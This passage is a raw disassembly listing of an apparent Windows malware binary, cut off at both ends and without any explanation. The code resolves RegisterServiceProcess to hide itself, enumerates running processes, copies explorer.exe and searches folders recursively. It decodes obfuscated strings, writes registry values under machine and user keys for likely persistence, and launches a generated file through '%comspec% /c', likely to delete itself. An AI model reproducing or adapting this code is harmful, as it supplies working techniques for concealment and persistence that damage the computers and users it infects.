sub_401E24 add esp, 4 push ebx nop call near ptr 28301C6h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx nop call near ptr 285053Ah mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx nop call near ptr 285053Ah pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2880B1Ah push eax nop call near ptr 2880000h mov eax, dword_4470A0 test eax, eax jz loc_40D403 mov ecx, dword_44709C test ecx, ecx jz loc_40D403 mov ecx, dword_446F68 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_447098, eax jz loc_40D403 push ebp push offset dword_446F70 push eax xor ebp, ebp mov dword_446F70, 128h call dword_44709C ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446F94 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446F94 add edx, ecx push edx call esi add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446F94 mov ecx, ebx call sub_401681 push eax call esi add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_447098 push offset dword_446F70 push eax call dword_446F68 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_447098 push ecx nop call near ptr 28308B0h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 2890D62h mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 2890920h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2890000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax call near ptr 27E0A09h nop lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 call near ptr 2880B1Ah nop push eax nop call near ptr 2880000h push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27D0796h mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470A4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470A0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44709C, eax call edi mov dword_446F68, eax mov eax, dword_4470A4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44718F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 28680000h, 5100443Bh, 0C90BE890h dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 42270BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 6DE80000h, 90023E26h, 874C085h, 0E890006Ah dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_447191 test al, al jz short loc_40DB24 push offset word_447192 call near ptr 27E07B4h nop loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2880B1Ah push eax nop call near ptr 2880000h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27C0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call near ptr byte_5EA1BD add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 285032Bh mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi call near ptr 27D0000h nop push esi call near ptr 28308B0h nop mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax call near ptr 2880B1Ah nop push eax nop call near ptr 2880000h lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call near ptr byte_5EA1BD add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call near ptr 2800000h nop lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 nop call near ptr 27F0000h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2940000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, 